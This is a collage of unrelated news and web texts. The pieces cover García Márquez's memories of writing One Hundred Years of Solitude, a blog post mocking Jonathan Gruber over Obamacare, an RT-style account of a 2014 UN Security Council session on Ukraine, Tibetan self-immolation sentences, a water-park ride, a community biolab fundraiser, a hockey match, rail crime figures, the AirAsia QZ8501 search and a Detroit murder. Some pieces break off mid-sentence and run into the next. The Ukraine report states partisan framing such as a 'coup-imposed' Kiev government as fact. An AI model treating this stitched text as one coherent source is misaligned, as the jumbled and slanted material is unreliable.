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the money from his Nobel award to buy a controlling interest in the Colombian news magazine Cambio. He told reporters at the time, quote, “My books couldn’t have been written if I weren’t a journalist because all the material was taken from reality.”
Soon we’ll be joined by Chilean novelist Isabel Allende to discuss García Márquez’s life. But first, this is part of a speech García Márquez gave after he sold his one millionth copy of One Hundred Years of Solitude.
GABRIEL GARCÍA MÁRQUEZ: [translated] When I was 38 years old and with four books published since I was 20, I sat down at the typewriter and began: “Many years later, facing the firing squad, Colonel Aureliano Buendía was to remember that distant afternoon when his father took him to discover ice.” I had no idea of the meaning nor the origin of that phrase or where it was leading me. What I know today is that I did not stop writing for a single day for 18 straight months, until I finished the book.
It seems incredible, but one of my most pressing problems was finding paper for the typewriter. I had the bad manners of believing that misspelled words, language mistakes or errors in grammar were actually created. And whenever detected, I would tear up the page and throw it into the trash basket to start again. With the pace I had gained in a year of practice, I figured it would take me about six months working every morning to complete the book.
Esperanza Araiza, the unforgettable Pera, was a typist for poets and filmmakers who completed the final versions of the great works of Mexican writers, including Where the Air is Clear by Carlos Fuentes; Pedro Páramo, Juan Rulfo; and several original scripts of Luis Buñuel. When I asked her to finish the final version, the novel was a draft of riddled patches, first in black ink and then in red to avoid confusion. But that was not unusual for a woman used to being in a den full of wolves.
A few years later, Pera confessed to me that when she was going home with the final version of the manuscript that I had corrected, she got off the bus, slipped and fell under a torrential rain. The pages went floating in the mire of the streets. With the help of other passengers, she was able to
collect the drenched and near-illegible pages and took them home to dry page by page with a clothes iron.
What could be the topic of an even better book would have been how we survived—Mercedes and I with our two children—during that time when I did not gain a dime anywhere. I don’t even know how Mercedes managed during those months to not miss a single day’s food in the house. We resisted the temptation to take out loans with interest, until we got the courage in our hearts and we started our first forays to Mount Mercy [Monte de Piedad] pawn shop. After the fleeting relief of having pawned certain small things, we had to pawn the jewels that Mercedes had received from family members over time. The expert examined them with the rigor of a surgeon. He checked with his magical eye the diamonds of the earrings, emeralds of the necklace, rubies of the rings, and in the end he returned them after a long pause. “All this is pure glass.”
In the times of greatest difficulty, Mercedes did her astral accounting and told her patient landlord without the slightest tremor in her voice, “We can pay you all together in six months.”
“Excuse me ma’am,” replied the owner, “do you realize that this will be a huge sum?”
“I do realize this,” Mercedes said impassively, “but then we’ll have it all figured out, rest assured.”
The good man, who was a senior official of the state and one of the most elegant and patient men that we ever met, did not tremble his voice either and responded, “Very well, ma’am, your word is all I need.” And he calculated his mortal accounts and said, “I await you on September 7th.”
Finally, at the beginning of August 1966, Mercedes and I went to the post office of Mexico City to send to Buenos Aires the final version of One Hundred Years of Solitude, a package of 590 typewritten pages, double-spaced on ordinary paper and addressed to Francisco Porrúa, literary director of the South American publisher. The postal employee put the package on the scale, made his mental calculations and said, “It will cost 82 pesos.” Mercedes counted the bills and loose change she had left in her purse and faced reality: “We only have 53.”
We opened the package. We divided it into two equal parts and sent one part to Buenos Aires, without even asking how we were going to get the money to send the rest. Only later did we realize that we had not sent the first part, but the last. But before we got the money to send it, Paco Porrúa, our man in the South American publisher, eager to read the first half of the book, sent us the money we needed to send the first part. That was how we came to be born in our lives today.
AMY GOODMAN: Gabriel García Márquez. He passed away at the age of 87 yesterday. We’re dedicating today’s show to remembering the man considered one of the greatest writers of the 20th century. When we come back, we’ll discuss his life and his work, with Isabel Allende, the best-selling Chilean writer and one of Latin America’s most renowned and revered novelists. This is Democracy Now! We’ll be back in a moment.Shop online for phones, tablets, SIM cards, accessories and more. You'll see devices from leading brands like Samsung, LG and Apple.
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T-Mobile FeaturesYou knew it was coming, and now the day has finally arrived that the esteemed professor of MIT, and one of the original architects of Obamacare, Jonathan Gruber, is touring the media circuit blaming the epic collapse of Obamacare on President Trump. Here is an exchange from last night with Chris Wallace on Fox News:
Gruber: "Look, and whose fault is this? Before President Trump was elected there were no counties in America that did not have an insurer. Since President Trump's been elected, a massive degree of uncertainty..." Wallace: "Wait, you're going to blame the problems with Obamacare on President Trump?" Gruber: "We had a situation under Obamacare where there was a one-time premium increase last year that made up for the fact that insurers massively under-priced in the first two years. The problem was fixed. Insurer profits were trending positively. Insurers were saying positive things about their ability to stay in the exchanges and succeed. Then you have a President who comes in, undercuts open enrollment, doesn't honor the obligations this law makes to insurers, and, as a result, premiums are going up and insurers are exiting."
Forward to the 7:50 mark for the relevant exchange:
Watch the latest video at video.foxnews.com
And, since Gruber insists that 'all' the "insurers were saying positive things" about Obamacare in 2016, we thought we'd take a look back for ourselves. Ironically, this quote from Aetna CEO Mark Bertolini in August 2016, in which he announced that "structural challenges facing public exchanges" had forced him to the decision to withdraw from Obamacare completely in 2017 seemed slightly less than "positive" to us.
“While we are pleased with our overall results, in light of updated 2016 projections for our individual products and the significant structural challenges facing the public exchanges, we intend to withdraw all of our 2017 public exchange expansion plans, and are undertaking a complete evaluation of future participation in our current 15-state footprint,” said Aetna Chief Executive Mark T. Bertolini. Aetna had previously made regulatory filings indicating it was considering growing into five new state marketplaces in 2017.
“Nobody is getting adequately reimbursed.”
But, perhaps we just don't understand the quote correctly.
Of course, Gruber is the same academic who was caught on film repeatedly telling students and other professors that Obamacare only passed courtesy of the "stupidity of American voters."The international community must demand that those who are in power in Kiev stop war on their own citizens in south-eastern Ukraine, Russia’s UN envoy Vitaly Churkin told the UN Security Council.
“The international community must demand the stooges of Maidan stop the war against their own people", Churkin said at an emergency Security Council session.
Churkin stressed that “reckless actions” of the Kiev government are “threatening to rip apart the delicate garment of Ukrainian mosaic society.”
Kiev’s post-coup authorities “stubbornly,” Churkin says, refuse to listen to those who do not accept Kiev's “radicalized, chauvinistic, russophobic, anti-Semitic forces.”
“Some, including those in this hall, constantly look for Moscow's hand in the events in the southeast, persistently without wishing to see the true reasons of the events in Ukraine. Quit doing it,” Churkin told the meeting.
“Quit spreading tales that we built up military armadas on the border with this country, ready at any moment, within a few hours to reach almost as far as La Manche, that we sent hordes of agents to coordinate actions of the protesting people of Ukraine.”
Monstrous russophobia bordering on hatred became the norm in the Verhovna Rada, Churkin reminded. “These beings deserve only one thing – death,” Churkin quoted a recent female Svoboda party MP’s statement about protesters in the East. And such views are widely shared among her “brutal co-party members,” he added.
The people's outcry in the East was indeed answered by Ukraine Parliament – with “draconian laws” threatening them long term imprisonment for “separatism” and “terrorism,” Churkin said.
US Ambassador to the UN Samantha Power used a chance to accuse Russia of directly intervening and orchestrating the protests in Ukraine.
“You heard that there are no Russian troops in eastern Ukraine but the fact is that many of the armed units that we have seen were outfitted in bullet proof vests, camouflage uniforms with insignia removed,” Power said.
“We know who is behind this. Indeed the only entity in the area capable of coordinating these professional military actions is Russia,” Power claimed.
In his turn, Ukraine's Ambassador Yuriy Sergeyev said that “Russia has not only constantly been increasing its troops alongside the Ukrainian border but also sending subversive groups into Ukrainian regions in order to destabilize the situation,” accusing Russia of orchestrating a full-scale “terrorist operation” in the East.
Taking the floor for the second time, Churkin warned that the deadline was looming, and that prospects of holding negotiations next week would be undermined if Kiev uses force against its people in the East, Churkin said in his rebuttal to the accusations by other members of the UNSC.
“Let’s move aside from speculations, accusations, from searching for Russian phantoms flying all over different corners of Ukraine, but let’s concentrate attention on what we can do – in this case I'm directing my eyesight at my Western colleagues – in order to prevent the Kiev authorities’ reckless actions, which at this moment are embodied in the criminal order of Mr. Turchinov, and to prevent the realization of this order, which will have the most severe implications primarily for the people of Ukraine.”
In response to his Ukrainian colleague’s accusations that Russia is engaged in supporting terrorism in Ukraine, Churkin responded: “Why did you not accuse of terrorism those who were terrorizing your government for a span of several months?”
“Those who actually terrorized the security forces, who actually set on fire the policemen, shot at them, just like they did at those who were protesting against the authorities and seemingly acted on their side. Those people, for some reason, you did not call terrorists, and even relieved them from any liability for their criminal actions that were conducted over several months.”
Churkin called accusations against Russia “ridiculous” pointing out that Russia's calls to start negotiations at the beginning of the crisis were ignored. “Why did you encourage this crisis?” Churkin asked.
“Russia, throughout the stretch of the Ukrainian crisis spoke out not for aggravation of the crisis, not to destabilize the country,” but to “keep the situation stable” in the neighboring country, Churkin told the UNSC, adding, “it is not our fault what we are witnessing there.”
He also questioned the role the US plays in the EU decision making process, citing the fact that Washington was quick to answer President's Putin letter addressed to EU nations, on gas transit to Europe. “We will have to wait and see if there is any sovereignty left in the EU. Can it independently make decisions that could lead the situation out of crisis?”
Churkin also stressed that Russia repeatedly stated that constitutional reform mentioned in February 21 agreement has to be implemented to avoid the escalation of tensions. He also stressed that FM Sergey Lavrov in his conversations with his counterpart John Kerry, always tries to explain to him the position of pro-federalization activists, so the US can get a full picture of the tension in Ukraine.
And while Russia and the US continue their talks, Churkin says, some politicians in the US already state that these conversations “will not lead to anything” and are just being conducted by the US to “occupy time.”
“Occupy time? So, does that means that someone in Washington actually has something like Turchinov’s armed scenario in their heads? If so, let’s not accuse Russia of seeking to destabilize the situation.”
Churkin also accused the West of double standards, pointing out the fact that the West encouraged actions to overthrow the government in Kiev in February, while at the same time condemning the events in the East of the country, where people reject the new rule forcefully imposed on them.
Russia's UN envoy also said that there seems to be a total disconnect in Kiev's approach to the crisis, as the acting prime minister Yatsenyuk is talking of the possibility of referendum while Turchinov at the same time is giving crackdown orders. “It seems they prefer to use force,” Churkin said.
When Samantha Power took the floor for the second time she stressed the US consistently “called for de-escalation and urged restraint” when dealing with the Ukrainian crisis, saying “there has been no shortage of evidence in diplomacy.”
She once again blamed Russia for fuelling Ukrainian crisis.
“It is not the United States that escalated the situation. It is the Russian Federation,” Power said, stating that it is hard to “reconcile the behavior of the Russian Federation, the propaganda of the Russian Federation, the military actions of the Russian Federation which range from the massing of 40,000 troops at the border to the subversive activities inside Ukraine” with “this appeal for diplomacy and de-escalation, and an appeal we wish was in fact sincere.”
Power said that Russia's point of view is “rooted in the idea that the internet does not exist” where people can see all the "evidence." She claimed that pro-federalization rallies are not protests, but instead are a series of military operations by “professional forces, carrying weapons, Russian made weapons as it happens, carrying out sophisticated, complicated military operations across a substantial number of eastern Ukrainian cities.”
Finally, Powers said that the “credibility of the Russian Federation has been greatly undermined.”
In his final address to the council, Churkin expressed hope that his calls will eventually find some response, and the bloodshed in Ukraine will be prevented while there is still time.
“Maybe, he Vice President Biden will pick up the phone and call Mr. Turchinov, as he numerously called Mr. Yanukovich before Feb 21?” Churkin asked. “Just call to tell Mr. Turchinov the same thing he told Mr. Yanukovich. He told him, as press service of vice president reported: 'For god's sake don’t use force, get rid of your security forces from central Kiev.”
“And now what, the US will endorse the realization of this criminal order to use armed forces?” Churkin said, urging Samantha Power to tell Biden to "immediately" call Kiev instead of waiting for a planned visit, as "in a couple of hours the situation can take an irreversible turn."
The UN Security Council held an emergency meeting requested by Russia to discuss the Kiev’s decision to use military forces to crush protests in Eastern Ukraine.
The United Nations Security Council emergency session was requested by Russia to discuss Ukraine’s declaration of a so-called “anti-terrorist operation” against pro-federation protesters in Eastern Ukraine.
The session was initially planned to be closed, but several Security Council members were pushing for an open format.
The urgent meeting comes after the coup-imposed Kiev government authorized the use of the military in Ukraine’s south-eastern regions to supress the popular uprising.
Events on the ground have taken a very dangerous turn, the Russian Foreign Ministry said in a statement on Sunday, slamming the order of a full-scale military operation as “criminal.”
“The Kiev authorities, who self-proclaimed themselves as a result of a coup, have embarked on the violent military suppression of the protests,” the ministry said adding that the rallies, which have gripped the Donbas region were prompted by Kiev’s disregard of the legitimate interests the people.Image caption China denies accusations that it is blocking religious freedom in Tibet
A Tibetan monk has received a suspended death sentence and his nephew 10 years in jail for inciting eight people to self-immolate, Chinese state media say.
Lorang Konchok, 40, and Lorang Tsering, 31, were found guilty of "intentional homicide" by the court in Sichuan province, Xinhua news agency said.
Tibetan activists had said the men were forced to confess to the charges.
Nearly 100 Tibetans have set themselves on fire since 2009, many fatally, in apparent protest at Chinese rule.
Most of the self-immolations have taken place in ethnic Tibetan areas outside Tibet.
Many have involved Buddhist monks or nuns calling, Tibetan activist groups say, for greater religious freedom and the return of their exiled spiritual leader, the Dalai Lama.
Foreign media are banned from the region, making verifying the self-immolation cases difficult. Chinese state media have confirmed some but not all.
New laws
Loran Konchok was based at Kirti monastery in Aba prefecture, an area in Sichuan province that has been a focal point for self-immolations.
The court in Aba prefecture ruled that he and his nephew had "incited and coerced eight people to self-immolate, resulting in three deaths", said Xinhua.
The Tibet Divide China says Tibet has always been part of its territory
Tibet had long periods of autonomy
China launched a military assault in 1950
Opposition to Chinese rule led to a bloody uprising in 1959
Tibet's spiritual leader, the Dalai Lama, fled to India
Dalai Lama now advocates a "middle way" with Beijing, seeking autonomy but not independence The Tibet issue: Two views Inside Tibet
The other five people either chose not to carry out the act or were stopped by police before they could go ahead.
The elder Lorang was given a death sentence with a two-year reprieve - a sentence which is usually commuted to life imprisonment - and stripped of his political rights for life, while the younger lost his rights for three years.
In December Xinhua reported that the men had confessed to the charges, saying they had recorded details of the protesters, gathered photographs and passed them on to exile groups in India.
The Tibetan government-in-exile denied any involvement and said the men had been "forced to make these confessions".
The sentences are believed to be the first since a legal ruling stipulating that anyone aiding immolations would be charged with murder.
Activist groups and the Tibetan government-in-exile say the self-immolations are protests against tight Chinese control of the region and religious repression.
But Beijing says Tibet as a region is getting wealthier and that Tibetans have religious freedom.
China's leaders blame the Dalai Lama for inciting the self-immolations and encouraging Tibetan separatism, a charge he strongly rejects.Almost 2 months ago we were the first to tell you of the trademarked name “Ray Rush”
Though we weren’t sure what the ride would be at the time, today the park announced Ray Rush. Ray Rush will be a family style raft ride.
At nearly 60 feet tall, Ray Rush is where family and friends can take on three exciting thrills as they slide, splash and soar like never before. First, riders will be launched at 33 feet per second with water jets designed to propel rafts into the first of several enclosed tube sections.
Next, riders will swirl into a colossal translucent sphere which spins the raft around the slide walls before entering another enclosed tube section.
Check out the details on the tube here!
Finally, riders will drop into an open-air halfpipe that resembles the shape of a manta ray. Rafts will soar back and forth on the wings of the manta before entering the final enclosed tube section that ends with a splash.
Put it all together and you have a pretty complex and fun family raft ride!
In order to make way for the new attraction, HooRoo Run will close permanently on October 31, 2017. To accommodate construction, Walhalla Wave will temporarily close on this date and re-open in spring 2018 alongside Ray Rush. For a limited-time, Aquatica Pass Members will receive a one-time Quick Queue to ride both HooRoo Run and Walhalla Wave on select days in October before construction begins in November.
This is the first time we’ve seen elements like these in a slide in Florida, but not the first time we’ve seen the half-pipe element. Honu at nearby Volcano Bay features 2 of those elements:
For a bigger look around Aquatica Orlando be sure to check out our video tour below:
Busch Gardens Tampa’s waterpark Adventure Island also announced Vanish Point slide complex earlier this week as well:
Be sure to follow us on our social pages as we bring you more info and progress on the project as it develops:Davey Johnson was the last Orioles manager to lead the team to the ALCS, and he managed four other clubs, including most recently the Washington Nationals. He seemed to pick Baltimore over his most recent stop in an MLB Network Radio interview this morning.
Johnson was asked about seeing baseball revived in Baltimore, and said it’s “wonderful” to see.
“I think the best fans in baseball are right around that Baltimore area,” Johnson said. “Now we’re getting baseball fans in Washington, which has mostly been a football town, but I love the people in that area. All my kids were born in the Baltimore area, so it’s fun to see the Orioles back on top. I would love to see a Nationals-Orioles World Series. I’d be sitting right in the middle.”
I don’t think Johnson is alone in that sentiment, though he might have to guard himself and sit more on the orange half of the ballpark after seemingly disparaging the red-rockers in the Navy Yard.
He’s also managed in Los Angeles, New York, and Cincinnati — all good baseball towns — but Baltimore can hang their hat on his praises for now.
jmeoli@baltsun.com
twitter.com/jonmeoliFor far too long, science has been locked away in the "ivory towers" of universities and research labs. Silicon Valley was born out of garage workshops and hobby clubs, the precursor to today's hackerspaces. And much of tomorrow’s innovation will be born out of the garage labs of today.
Biology is the technology of the 21st century, and has the potential to affect our lives as much as or more than computers did in the 20th century. Our goal is to demystify and democratize this technology, putting tools into the hands of those who want to learn. We believe in the power of diversity and peer-to-peer education; everybody has something to teach and everybody has something to learn. Whether you’re ready to start testing that cutting-edge, pre-startup research idea, or just want to play with some bioluminescent algae, this is the place for you!
Our Values
We need your help
We need your help to bring citizen science to anyone! Our lab space is in a building called Omni Commons, home of nine other collectives stewarding a space to pool shared resources and collaborate toward social change. We’ve already held tons of free classes and workshops, ranging from the science of our senses, to a workshop on local soil sampling, to an introduction to molecular cloning. Counter Culture Labs is currently home of: the Real Vegan Cheese project (in collaboration with Biocurious), creating vegan cheese engineered from baker’s yeast; Fermentation Station, perfecting homebrewed kombucha, beer, and tasty vinegars; and Bay Area Applied Mycology, whose core current research focus is fungi for soil remediation.
We now want to renovate the lab so that more advanced science can happen in a safe and responsible way. To do this we need sinks, a transparent enclosure to keep the lab dust-free, and an electrical upgrade to power the equipment we’ve been amassing since we moved in last summer. Most of our rent is paid through membership dues, but accruing members has been difficult as our lab is incomplete. It’s vitally important that we keep our classes free and open to the public, but we operate on a shoestring budget - an all-volunteer labor of love and dedication to Open Science. We'd also like to be able to sponsor budding scientists who may not otherwise be able to afford membership.
What we've done so far
We've held over 300 open meetups and free classes around Oakland over the past two years. We've played with black stinky mud to make Winogradsky columns, taught hands-on basic genetic engineering techniques in the makeshift biolab in a spare room (before we moved into our new home at the Omni last July), made a Ghost Heart, and hosted talks on the human gut microbiome, the Ebola crisis, orphan drug development via crowdfunding, and much more. We’ve also spent countless hours agonizing over how to build a lab "for the people, by the people" while searching for a space to call our own. Meet some of our members here.
Funky microbial art with Winogradsky columns - Environmental Microbiology 101
Ghost Heart in a jar!
DNA extraction from spit at Maker Faire 2014
Microscopes and telescopes!
Soil sampling along the length of Temescal Creek
Ongoing and upcoming projects
Real Vegan Cheese aims to create real cheese from baker’s yeast (no animals involved!), allowing us all to eat lower on the food chain. Help reduce animal suffering and environmental impacts from the dairy industry, and health issues from cheese consumption. This project won a Gold medal and the award for Best Community Labs Project at the iGEM international synthetic biology competition last October! We’re planning a new project for iGEM 2015 right now - come join us!
The Real Vegan Cheese team
The Bay Area Applied Mycologists are currently overhauling one of our storage rooms to grow mushroom spawn for food, recreation (bioluminescent mushrooms - woot!), and even pollution cleanup.
The Fermentation Station is a group of folks brewing up batches of beer, wine, kombucha, vinegars and more, in the food-safe part of the lab. We’re looking forward to doing some fun sequencing and culturing projects, combining traditional brewcraft with cutting-edge microbiology and molecular biology.
We also have a number of people actively doing DNA barcoding projects, identifying mushroom and local spider species based on their DNA sequence. We’d love to work with groups like Nerds for Nature to add this as a standard part of their grassroots BioBlitzes, where local volunteers descend on a park or other natural area for an intensive survey of its biological diversity.
We ♡ Bio Art! Whether you’re fascinated by glow-in-the-dark bioluminescent organisms, want to paint with colorful bacteria, explore the invisible world under a microscope, or learn how to create biocouture using nature’s own high fashion designers, this is the place for you!
We want to do much more with environmental monitoring, such as installing sensor packages on our roof to monitor weather, air pollution and radiation, while offering classes for the local community on how to test your water for bacterial pollution, or test your soil for heavy metals and other contaminants.
We are partnering with the local school district to develop a teacher training curriculum in STEM education.
We hella love Oakland! We want to be a resource for the local community to ask questions on scientific topics or concerns. Our vision is to create an open and accessible space inviting to the curious passerby. We’d like to be a resource for our neighbors and become an awesome part of the Oakland community.
The Lab
We currently offer our members most of the essentials for a full-fledged molecular biology lab, including several fridges and freezers, incubators, centrifuges, shakers, microscopes, PCR machines, spectrophotometers, gel rigs, etc. We also have two biosafety cabinets, a large desktop autoclave, a Speed Vac centrifugal evaporator, a beefy Millipore water purification system, and several bioreactors. Three large donated lab benches were mounted on casters, making much of the lab layout reconfigurable. We also have a room set aside for our future BioSafety Level 2 lab, enabling us to work on human samples and cell lines, or to isolate novel bacteria with useful properties.
Finished construction projects include painting and re-flooring the BSL-2 lab room, sealing cracks in the concrete floor, moving in a >700lb biosafety cabinet, assembling large lab benches and mounting them on casters, and more...
Check out this amazing 3D scan the lovely people at Immersio made for us.
Budget
We’ve only moved into our current home at the Omni a few months back, and while we can already start doing some interesting experiments, there are still a few big infrastructure pieces needed to transform this former Bocce ball court into the mad science paradise we’d like it to be:
A more detailed budget can be found on our wiki.
We are located in Oakland, home to lots of underprivileged youth, homelessness and unemployment. But we believe that anyone with some gumption and interest deserves a chance to come play and learn with these technologies.. So help us sponsor someone who would otherwise not be able to afford a membership! All our membership rewards are transferable, so you can gift one to someone you know. Or you can also do a “Get One, Give One” by simply doubling the amount you donate for one of the membership awards. Any donations above the listed price will go towards our fellowship program.
Reward pics The Omni Commons
The Omni Oakland Commons is a truly amazing community space in the Temescal neighborhood of Oakland. A rambling 23,000 sqft 1930’s building, it now houses a vibrant assortment of collectives, including our direct neighbors hackerspace Sudo Room, free university Bay Area Public School, a print studio, a wellness collective, a screen printing shop, a bookstore/cafe, and much more. So much better than just finding a space all by our lonesome!Published 09.05.2015 20:08 GMT+2 | Author John Sanful
Finland and Slovakia battled to a scoreless draw until a third period goal by Joonas Donskoi led the Finns to a 3-0 win.
The last time Slovakia defeated Finland was at the 2004 IIHF World Championship here in the Czech Republic. Since that time, Finland has won all seven games when these teams have met.
"We played really strong all through the game," said Jussi Jokinen. "We were really patient with our game, we kept going and we were confident that if it took 65 minutes, 40 minutes, whatever we would get the reward."
Pekka Rinne came into the game chasing the modern day World Championship shutout streak for goaltenders. Rinne’s chance at setting the record, though, would have to wait.
Head coach Kari Salonen opted not to dress Rinne for today’s game going instead with Juuse Saros. Atte Engren was the backup. Saros did not disappoint as he made 22 saves en route to the shutout and best player of the game honours for Finland. The shutout also ran Finland’s streak to four games without giving up a goal at the 2015 IIHF Ice Hockey World Championship to set a modern-day team shutout record.
The last goal Finland surrendered was a third period tally by the Americans in the opening game of the tournament.
There was plenty of action for the Finns in the Slovak end of the ice. Starting goaltender Jan Laco faced 13 shots in what was an active first period.
Anssi Salmela had two important chances in the period. The first off a crisp pass from Jussi Jokinen and another on a rush back the other way on the same shift.
The line of Juhamatti Aaltonen, Joonas Kemppainen and Janne Pesonen played extremely well, generating five shots in the period.
Slovakia thought they took a 1-0 lead at 8:12 when Tomas Jurco batted the puck midair into the net. Saros made a save but the puck went over his head and behind the netminder where Jurco tapped it in. The goal was waived off because Jurco’s effort was ruled a high stick. Further review of the play supported the call. In the second Finland and Slovakia traded power plays but the score would remain scoreless. When Antti Pihlstrom was called for high sticking at 7:17 giving Slovakia its first power play. Atte Ohtamaa was called for hooking and put Finland down two players but the Slovaks could not generate anything of note. Mario Bliznak had the best chance for the Slovaks as he broke in alone on Saros bout could not gain full control of the puck for a decent shot. Aleksander Barkov fed a pass to Donskoi who was alone in front but Laco poked the puck away, preventing a clear shot on goal. After a two shot output in the second period, Slovakia came out with better chances, taking shots that were either wide or on net and when they were Saros would not easily give up rebounds after saves. "We didn't get in front of the net enough and shoot behind the guys and that's the biggest problem," said Marek Viedensky. "The Finns have a good defence and we didn't really get the chance to score and when we got a chance the goalie saved it." Finland scored at 9:32 with some determined play. Jonas Donskoi took a pass from behind the net and put it home for a 1-0 lead. Esa Lindell, who continues his fine play as a World Championship rookie, assisted on the play along with Jussi Jokinen. Finland added another at 15:33 when Aaltonen finally got on the board. Pesonen fought off a check behind the net to send a pass to Aaltonen who scored his first of the tournament. After a 5-1 drubbing by the Americans in the opening game of the IIHF Ice Hockey World Championship, Finland has played consistent hockey featuring an airtight defense. "We take lots of pride that we don't let up lots of chances or lots of goals," Jokinen said of his team's play. "We play really strong defence, our PK has been great and that's the thing we really want to concentrate on for the whole tournament."
Back to OverviewAnne Gaddes, one of the most famous photographers which come to our mind when we talk about capturing depictions of babies and motherhood. There is something unique or different that she does to tap the correct spots on the heart of a beholder and being a photographer who wouldn’t want to do that. So, to help you with this, we will be talking about certain snippets of learning which are clearly reflected in the style of Anne Gadde’s photography.
To start with, please make sure that you are very particular in choosing the background (should be conveying a context), but most importantly try to keep the baby at its center. Another important thing is to keep the baby well fed, happy and comfortable when you are planning to start your photo shoot. So, you will have to be ready with your camera all the time and then wait for the right moment to click.
If you would have taken a close look at the shots captured by Anne Gaddes, then you must have noticed that she usually tries to capture images under natural light. So, try to use more of natural light and less of your flashes and it would be great if you could actually exploit the early morning or late evening light conditions for the shoot.
As far as props are concerned try to minimize them, they usually divert the attention away from the baby. Props are usually used to convey a context to the viewer, so you can choose to use a more detailed background which should be very generic so that every viewer could correlate to the context.
Lastly and most importantly, please don’t try to create another copy of the work done by these famous photographers. Their images are the result |
a video in which a female commuter is increasingly hounded by a persistent male and eventually groped - came after the period in which these annual crime figures were collated.
BTP officers are responsible for policing all railway stations and trains - including the London Underground - in England, Scotland and Wales.
'Concern'
The figures, which cover the 12 months to the end of March, show most of the sexual offences were against women and girls.
Deputy Chief Constable Adrian Hanstock called the rise in violent crime a "concern".
"It is worth noting that the chances of being a victim of any crime are small," he said.
"The use of more officers patrolling late-night trains and at peak periods, as well as our extensive CCTV network, is helping to halt this rise."
The figures
Image copyright PA
Comparing 2014-15 with 2013-14:
Total recorded crime fell from 50,839 incidents to 46,688
Sexual offences increased 25% from 1,117 to 1,399
Criminal damage rose 1.9% from 3,298 to 3,361
Theft of passenger property fell 16% from 14,353 to 12,039
Robbery fell 17% from 436 to 358
Fraud offences fell 18% from 457 to 374
Mr Hanstock added: "While it is encouraging to compare our current level of performance to last year and note these improvements, the outcome is even more remarkable when you reflect on the progress made over the last 11 years.
"In that time, vehicle and cycle crime has been driven down by 39%, meaning 4,600 fewer offences, while 19,000 fewer people have been the victim of the theft of property, with crimes of this type down 61%."
The force said a key priority now was to cut train delays caused by incidents such as vandalism and trespass, after police failed to hit last year's target to reduce rail disruption by 6%.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 28, 2014, 3:57 AM GMT / Updated Dec. 28, 2014, 4:51 PM GMT
Rescuers scouring Indonesian waters for an AirAsia plane that went missing with 162 people aboard have found no sign of the missing jet more than 16 hours after it lost contact with air-traffic control, officials said Sunday.
After more than 10 hours of scouring the Java Sea, Indonesian authorities called off the aerial search for the night and said it would resume at 6 a.m. Monday (6 p.m. ET Sunday). Achmad Toha of Indonesia's Search and Rescue Agency (BASARNAS) said some ships in the area would continue looking for the missing plane overnight, according to The Associated Press.
AirAsia Indonesia Flight QZ8501 lost contact with air traffic control at around 7:24 a.m. local time in Indonesia (7:24 p.m. ET) on Sunday after requesting a course change due to bad weather while en route from Surabaya, Indonesia, to Singapore.
Indonesia's acting director general of transportation, Djoko Murjatmodjo, said there had been no distress signal from the cockpit of the Airbus A320-200, but a minute before contact was lost, the pilot "asked to avoid clouds by turning left and going higher to 34,000 feet.” Forecasters told NBC News that "numerous showers and hail" littered the missing jet's flight path.
"We hope we can find the location of the plane as soon as possible, and we hope that God will give us guidance to find it," Murjatmodjo told reporters. "We don't dare to presume what has happened except that it has lost contact."
The flight had 155 passengers on board, including 16 children and one infant, and two pilots and five crew members, the airline said. Most on board were Indonesian though there were around six foreigners — including three South Koreans, a British national, a Singapore national and a Malaysian. A French national was part of the crew, according to AirAsia.
"The aircraft was on the submitted flight plan route and was requesting deviation due to en route weather before communication with the aircraft was lost," the airline said, adding that the missing plane last underwent maintenance on Nov. 16.
The pilot in command has a total of 20,537 flying hours, of which, 6,100 flying hours were with AirAsia Indonesia on the Airbus A320, the airline said.
Airbus confirmed in a statement that the plane was delivered to AirAsia in October 2008 and that it had accumulated about 23,000 flight hours in some 13,600 flights.
Indonesia's Transport Minister Ignasius Jonan told reporters in Surabaya that search-and-rescue efforts now involved the Indonesian army, the National Search and Rescue Agency as well as Singapore and Malaysia, according to The Associated Press. The Search and Rescue Agency's operation chief, Maj. Gen. Tatang Zaenudin, said 200 rescuers had been deployed to the east side of Belitung island, the AP reported.
Singapore's military confirmed to NBC News that it had deployed a C-130 plane to assist in search and rescue efforts.
"Following the Indonesian authorities calling off the search for the day, the aircraft has since departed the area of operations," the military said in a statement, adding that it would send two C-130s to continue the search operation on Monday.
The U.S. National Transportation Safety board is monitoring developments in the search and is prepared to assist if asked by the Indonesian government, agency spokesman, Terry Williams, told NBC News. Officials with the U.S. State Department said they were ready to assist in the search, if needed, adding that none of the passengers on the plane were carrying U.S. passports. “Our hearts and hopes are with the passengers and families of AirAsia QZ8501,” Secretary of State John Kerry posted on Twitter.
Weeping and distraught relatives of passengers flocked to Singapore's Changi Airport, which set up an area to provide assistance to passengers' family. “Our main priority is keeping the families of our passengers and colleagues informed on the latest developments,” the CEO of AirAsia Indonesia, Sunu Widyatmoko, said in a statement. The country's prime minister, Lee Hsien Loong, said on Twitter that his "thoughts are with the passengers and their families."
Tony Fernandes, the head of AirAsia, said he was en route to Indonesia's city of Surabaya — where most of the passengers were from — and that his thoughts were with the passengers and crew.
The White House said that President Barack Obama was briefed on the disappearance of the flight and monitoring developments. The National Transportation Safety Board is also monitoring developments, but would need an invitation to assist in any investigation.
The loss of contact with the AirAsia flight comes nine months after the disappearance of Malaysia Airlines Flight MH370, which vanished during a flight from Kuala Lumpur to Beijing with 239 people aboard on March 8. It has never been found.
Malaysia Airlines sent a message of support amid the ongoing search for the AirAsia flight, saying in a Twitter message on Sunday that its "thoughts and prayers are with all family and friends of those on board."
— The Associated Press and Reuters contributed to this report.De'Naye Washington, 17, has died from injuries she suffered after being sexually assaulted in her home
A 17-year-old who was sexually assaulted in her home has died from injuries she suffered in the brutal attack.
De'Naye Washington was sleeping inside her home in Detroit on January 7 when her attacker burst through the window, battered over the head and sexually assaulted her.
The high school senior spent days fighting for her life in hospital, but died yesterday.
Police have named Darian Winfield, 19, as a person of interest in the attack.
De'Naye's aunt, Terri Washington, told Fox 2 Detroit that her niece's death - which is now being treated as murder - was'senseless'.
'It's crazy and she is just a baby,' Ms Washington said. 'She got hit six times and her brain was swollen so much, there was nothing they could do - they tried everything.'
GeNaye's sister, Shaquetta, added: 'I just want to know why would you do that to her. What did she do to you why would you target her?
'She's so loving just like a big kid we were sitting here playing Uno the day before it happened.'
Police sources told the news station that fingerprints found inside the home link Winfield to the scene.
Investigators have taken DNA samples and are awaiting results.
Winfield is already being held in jail on a $1million bond after being arrested last week. He is suspected of sexually assaulting another woman in Detroit on December 13, Georgia Newsday reported.
